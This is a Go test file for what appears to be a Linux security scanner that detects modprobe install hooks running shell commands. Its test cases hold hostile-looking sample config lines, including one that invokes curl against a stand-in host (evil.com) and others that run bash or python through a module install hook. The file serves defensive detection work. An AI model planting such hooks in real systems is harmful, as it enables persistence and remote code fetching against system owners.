133 lines
2.3 KiB
Go
133 lines
2.3 KiB
Go
/*
|
|
©AngelaMos | 2026
|
|
kernel_test.go
|
|
*/
|
|
|
|
package scanner
|
|
|
|
import (
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"github.com/CarterPerez-dev/sentinel/pkg/types"
|
|
)
|
|
|
|
func TestKernelScanner_SuspiciousModprobe(t *testing.T) {
|
|
k := &KernelScanner{}
|
|
path := filepath.Join(
|
|
testdataDir(), "kernel", "suspicious.conf",
|
|
)
|
|
|
|
findings := k.scanModprobeConf(path)
|
|
if len(findings) == 0 {
|
|
t.Fatal(
|
|
"suspicious modprobe config produced no findings",
|
|
)
|
|
}
|
|
|
|
if findings[0].Severity != types.SeverityHigh {
|
|
t.Errorf(
|
|
"severity = %v, want high",
|
|
findings[0].Severity,
|
|
)
|
|
}
|
|
|
|
if findings[0].Title != "Module install hook runs shell command" {
|
|
t.Errorf(
|
|
"title = %q, want %q",
|
|
findings[0].Title,
|
|
"Module install hook runs shell command",
|
|
)
|
|
}
|
|
}
|
|
|
|
func TestKernelScanner_CleanModules(t *testing.T) {
|
|
dir := t.TempDir()
|
|
path := filepath.Join(dir, "clean.conf")
|
|
writeTestFile(
|
|
t, path,
|
|
"# Clean module config\n"+
|
|
"options snd_hda_intel power_save=1\n"+
|
|
"blacklist nouveau\n",
|
|
)
|
|
|
|
k := &KernelScanner{}
|
|
findings := k.scanModprobeConf(path)
|
|
|
|
if len(findings) > 0 {
|
|
t.Errorf(
|
|
"clean modprobe produced %d findings, want 0",
|
|
len(findings),
|
|
)
|
|
}
|
|
}
|
|
|
|
func TestKernelScanner_ModulesFile(t *testing.T) {
|
|
dir := t.TempDir()
|
|
path := filepath.Join(dir, "modules")
|
|
writeTestFile(
|
|
t, path,
|
|
"# /etc/modules\nlp\nloop\n",
|
|
)
|
|
|
|
k := &KernelScanner{}
|
|
findings := k.scanModulesFile(path)
|
|
|
|
if len(findings) != 2 {
|
|
t.Fatalf(
|
|
"modules file: got %d findings, want 2",
|
|
len(findings),
|
|
)
|
|
}
|
|
|
|
for _, f := range findings {
|
|
if f.Severity != types.SeverityInfo {
|
|
t.Errorf(
|
|
"severity = %v, want info",
|
|
f.Severity,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestContainsShellCommand(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
line string
|
|
want bool
|
|
}{
|
|
{
|
|
name: "bash path",
|
|
line: "install usb-storage /bin/bash -c 'echo test'",
|
|
want: true,
|
|
},
|
|
{
|
|
name: "network tool",
|
|
line: "install fake curl http://evil.com",
|
|
want: true,
|
|
},
|
|
{
|
|
name: "clean modprobe",
|
|
line: "install pcspkr /bin/true",
|
|
want: false,
|
|
},
|
|
{
|
|
name: "python script",
|
|
line: "install mod python3 -c 'import os'",
|
|
want: true,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
got := containsShellCommand(tt.line)
|
|
if got != tt.want {
|
|
t.Errorf(
|
|
"containsShellCommand(%q) = %v, want %v",
|
|
tt.line, got, tt.want,
|
|
)
|
|
}
|
|
})
|
|
}
|
|
}
|